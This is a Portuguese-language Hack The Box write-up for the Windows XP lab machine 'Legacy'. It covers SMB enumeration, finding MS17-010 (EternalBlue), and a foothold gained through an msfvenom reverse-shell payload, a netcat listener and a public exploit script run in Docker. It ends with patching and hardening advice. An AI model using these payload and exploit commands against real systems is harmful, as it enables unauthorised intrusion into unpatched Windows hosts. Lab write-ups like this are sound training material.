Legacy - HTB Easy Machine - Português Brasil

OS Windows
Difficulty Easy
User Owns 42.6K
Root Owns 43.6K
Rating 4.6/5
Release 2017/03/15
Creator ch4p
First Blood User 0x1Nj3cT0R
First Blood Root 0x1Nj3cT0R
User Rated Difficulty

Sobre

Legacy é uma máquina relativamente direta, de nível iniciante, que demonstra os riscos de segurança potenciais do SMB no Windows. Apenas um exploit publicamente disponível é necessário para obter acesso como administrador.

Exploração

Enumeração

Começando com uma enumeração nmap vemos que é uma máquina windows rodando apenas o servidor smb.

PORT      STATE  SERVICE      VERSION  
135/tcp   open   msrpc        Microsoft Windows RPC  
139/tcp   open   netbios-ssn  Microsoft Windows netbios-ssn  
445/tcp   open   microsoft-ds Windows XP microsoft-ds  
4095/tcp  closed xtgui  
7518/tcp  closed unknown  
10253/tcp closed eapol-relay  
11257/tcp closed unknown  
13767/tcp closed unknown  
30522/tcp closed unknown  
41588/tcp closed unknown  
42743/tcp closed unknown  
43244/tcp closed unknown  
44251/tcp closed unknown  
54772/tcp closed unknown  
55622/tcp closed unknown  
56234/tcp closed unknown  
57817/tcp closed unknown  
58519/tcp closed unknown  
60227/tcp closed unknown  
62123/tcp closed unknown  
65121/tcp closed unknown  
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp  
  
Host script results:  
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:94:bb:25 (VMware)  
| smb-security-mode:    
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  
|_smb2-time: Protocol negotiation failed (SMB2)  
|_clock-skew: mean: 5d00h27m39s, deviation: 2h07m16s, median: 4d22h57m39s  
| smb-os-discovery:    
|   OS: Windows XP (Windows 2000 LAN Manager)  
|   OS CPE: cpe:/o:microsoft:windows_xp::-  
|   Computer name: legacy  
|   NetBIOS computer name: LEGACY\x00  
|   Workgroup: HTB\x00  
|_  System time: 2025-09-04T20:04:40+03:00  

Vamos começar com a enumeração do netexec e ver se encontramos algo, mas sem usuário ou senha não conseguimos nada.

legacy  
└─ $ nxc smb 10.10.10.4 -u '' -p '' --shares  
SMB         10.10.10.4      445    LEGACY           [*] Windows 5.1 x32 (name:LEGACY) (domain:legacy) (signing:False)  
(SMBv1:True) (Null Auth:True)  
SMB         10.10.10.4      445    LEGACY           [+] legacy\:    
SMB         10.10.10.4      445    LEGACY           [-] Error enumerating shares: STATUS_ACCESS_DENIED

Gosto de rodar o enum4linux-ng para alguns compartilhamentos smb porque às vezes conseguimos pegar mais informações sobre o serviço, mas aqui também não obtivemos nada relevante.

enum4linux-ng 10.10.10.4 -A -C    
ENUM4LINUX - next generation (v1.3.5)  
  
==========================  
|    Target Information    |  
==========================  
[*] Target ........... 10.10.10.4  
[*] Username ......... ''  
[*] Random Username .. 'hbuecrxe'  
[*] Password ......... ''  
[*] Timeout .......... 5 second(s)  
  
===================================  
|    Listener Scan on 10.10.10.4    |  
===================================  
[*] Checking LDAP  
[-] Could not connect to LDAP on 389/tcp: connection refused  
[*] Checking LDAPS  
[-] Could not connect to LDAPS on 636/tcp: connection refused  
[*] Checking SMB  
[+] SMB is accessible on 445/tcp  
[*] Checking SMB over NetBIOS  
[+] SMB over NetBIOS is accessible on 139/tcp  
  
=========================================================  
|    NetBIOS Names and Workgroup/Domain for 10.10.10.4    |  
=========================================================  
[+] Got domain/workgroup name: HTB  
[+] Full NetBIOS names information:  
- LEGACY          <00> -         B <ACTIVE>  Workstation Service  
- HTB             <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name  
- LEGACY          <20> -         B <ACTIVE>  File Server Service  
- HTB             <1e> - <GROUP> B <ACTIVE>  Browser Service Elections  
- HTB             <1d> -         B <ACTIVE>  Master Browser  
- ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser  
- MAC Address = 00-50-56-94-BB-25  
  
=======================================  
|    SMB Dialect Check on 10.10.10.4    |  
=======================================  
[*] Trying on 445/tcp  
[+] Supported dialects and settings:  
Supported dialects:  
 SMB 1.0: true  
 SMB 2.0.2: false  
 SMB 2.1: false  
 SMB 3.0: false  
 SMB 3.1.1: false  
Preferred dialect: SMB 1.0  
SMB1 only: true  
SMB signing required: false  
[*] Enforcing legacy SMBv1 for further enumeration  
  
=========================================================  
|    Domain Information via SMB session for 10.10.10.4    |  
=========================================================  
[*] Enumerating via unauthenticated SMB session on 445/tcp  
[+] Found domain information via SMB  
NetBIOS computer name: LEGACY  
NetBIOS domain name: ''  
DNS domain: legacy  
FQDN: legacy  
Derived membership: workgroup member  
Derived domain: unknown  
  
=======================================  
|    RPC Session Check on 10.10.10.4    |  
=======================================  
[*] Check for anonymous access (null session)  
[+] Server allows authentication via username '' and password ''  
[*] Check for guest access  
[-] Could not establish guest session: STATUS_LOGON_FAILURE  
  
=================================================  
|    Domain Information via RPC for 10.10.10.4    |  
=================================================  
[-] Could not get domain information via 'lsaquery': STATUS_ACCESS_DENIED  
  
=============================================  
|    OS Information via RPC for 10.10.10.4    |  
=============================================  
[*] Enumerating via unauthenticated SMB session on 445/tcp  
[+] Found OS information via SMB  
[*] Enumerating via 'srvinfo'  
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED  
[+] After merging OS information we have the following result:  
OS: Windows 5.1  
OS version: '5.1'  
OS release: not supported  
OS build: not supported  
Native OS: Windows 5.1  
Native LAN manager: Windows 2000 LAN Manager  
Platform id: null  
Server type: null  
Server type string: null  
  
===================================  
|    Users via RPC on 10.10.10.4    |  
===================================  
[*] Enumerating users via 'querydispinfo'  
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED  
[*] Enumerating users via 'enumdomusers'  
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED  
  
====================================  
|    Groups via RPC on 10.10.10.4    |  
====================================  
[*] Enumerating local groups  
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED  
[*] Enumerating builtin groups  
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED  
[*] Enumerating domain groups  
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED  
  
======================================  
|    Services via RPC on 10.10.10.4    |  
======================================  
[-] Could not parse result of 'net rpc service list' command, please open a GitHub issue  
  
====================================  
|    Shares via RPC on 10.10.10.4    |  
====================================  
[-] Could not list shares: timed out  
  
=======================================  
|    Policies via RPC for 10.10.10.4    |  
=======================================  
[*] Trying port 445/tcp  
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED  
[*] Trying port 139/tcp  
[-] SMB connection error on port 139/tcp: session failed  
  
=======================================  
|    Printers via RPC for 10.10.10.4    |  
=======================================  
[+] No printers returned (this is not an error)  
  
Completed after 60.90 seconds

smb-vuln-ms17-010

Sabendo que é uma máquina windows, executei o script do nmap para ver se obtínhamos alguma vulnerabilidade ou pista sobre a máquina. Felizmente tivemos todas as informações sobre a vulnerabilidade smb-vuln-ms17-010 e seu CVE.

nmap --script smb-vuln* -p 445 10.10.10.4     
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-30 12:55 -0300  
Failed to resolve " ".  
Nmap scan report for 10.10.10.4  
Host is up (0.34s latency).  
  
PORT    STATE SERVICE  
445/tcp open  microsoft-ds  
  
Host script results:  
| smb-vuln-ms17-010:    
|   VULNERABLE:  
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)  
|     State: VULNERABLE  
|     IDs:  CVE:CVE-2017-0143  
|     Risk factor: HIGH  
|       A critical remote code execution vulnerability exists in Microsoft SM  
Bv1  
|        servers (ms17-010).  
|              
|     Disclosure date: 2017-03-14  
|     References:  
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143  
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance  
-for-wannacrypt-attacks/  
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx  
|_smb-vuln-ms10-054: false  
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)  
  
Nmap done: 1 IP address (1 host up) scanned in 12.56 seconds

Foothold

Para explorar essa vulnerabilidade encontrei um ótimo script em python que consegue executar código remotamente a partir do terminal. Ele ainda usa python2, então vamos seguir o método com docker.

Primeiro vamos gerar o payload com o msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=9001 -f exe -o ms17-010.exe

Inicie nosso listener

nc -lvnp 9001

Pessoalmente uso archlinux e já tenho o Docker instalado, então você precisa instalá-lo usando o método recomendado para sua distro Linux. Em seguida, seguimos os passos do repositório

mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt

Escreva o Dockerfile:

FROM python:2.7-alpine
RUN apk --update --no-cache add \
    git \
    zlib-dev \
    musl-dev \
    libc-dev \
    gcc \
    libffi-dev \
    openssl-dev && \
    rm -rf /var/cache/apk/*

RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt

Build do Container Docker:

sudo docker build -t exploit .

Execute o Container:

sudo docker run -it exploit /bin/sh

Baixando e executando o exploit:

git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143
python send_and_execute.py 10.10.10.4 ../ms17-010.exe

Rodar o exploit nos dará o shell remoto

└─ $ nc -lvnp 9001  
Listening on 0.0.0.0 9001  
Connection received on 10.10.10.4 1034  
Microsoft Windows XP [Version 5.1.2600]  
(C) Copyright 1985-2001 Microsoft Corp.  
  
C:\WINDOWS\system32>

Com isso conseguimos ambos os flags rodando como NT AUTHORITY\SYSTEM

User

C:\Documents and Settings\john\Desktop>type user.txt  
type user.txt  
e69af0e4....

Root

C:\Documents and Settings\Administrator\Desktop>type root.txt  
type root.txt  
993442d25....

Essa máquina costumava ser vulnerável ao smb-vuln-ms08-067 do CVE-2008-4250 quando eu a resolvi há algum tempo, mas no momento em que escrevo este walkthrough só consegui explorá-la com a vulnerabilidade smb-vuln-ms17-010.

Como prevenir

A forma mais eficaz de evitar a exploração de MS17-010 (EternalBlue) é sempre aplicar os patches de segurança da Microsoft. No caso específico, a vulnerabilidade foi corrigida no boletim de segurança MS17-010, divulgado em março de 2017. Rodar sistemas desatualizados como Windows XP representa um risco crítico, já que não recebem mais suporte oficial.

Ações recomendadas:

  • Aplicar atualizações de segurança – Mantenha o Windows sempre atualizado e aplique os patches da Microsoft. Para sistemas legados, considere seriamente substituí-los por versões suportadas.
  • Desabilitar SMBv1 – Esse protocolo é obsoleto e inseguro; deve ser desativado em todos os ambientes.
  • Restringir acesso – Nunca exponha serviços SMB à internet. Permita acesso apenas a redes internas confiáveis através de regras de firewall ou ACLs de rede.
  • Segmentação de rede – Isole sistemas legados em VLANs restritas com acesso mínimo ao restante da infraestrutura.
  • Monitoramento e resposta – Habilite logs e monitore o tráfego SMB em busca de atividade suspeita. Utilize soluções IDS/IPS para detectar tentativas conhecidas de exploração.
  • Planejar migração – Se sistemas legados (como Windows XP) são estritamente necessários por causa de software antigo, planeje sua migração para ambientes modernos ou mantenha-os totalmente isolados, sem exposição a redes críticas.

Em resumo, o ataque só foi possível porque o sistema estava desatualizado, rodando SMBv1 e sem patches. Seguir boas práticas de gestão de patches e desativar protocolos inseguros teria prevenido completamente a exploração.

Notas

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

The master 0xdf
MS17-010_CVE-2017-0143
OpenCVE CVE-2017-0143
NIST CVE-2017-0143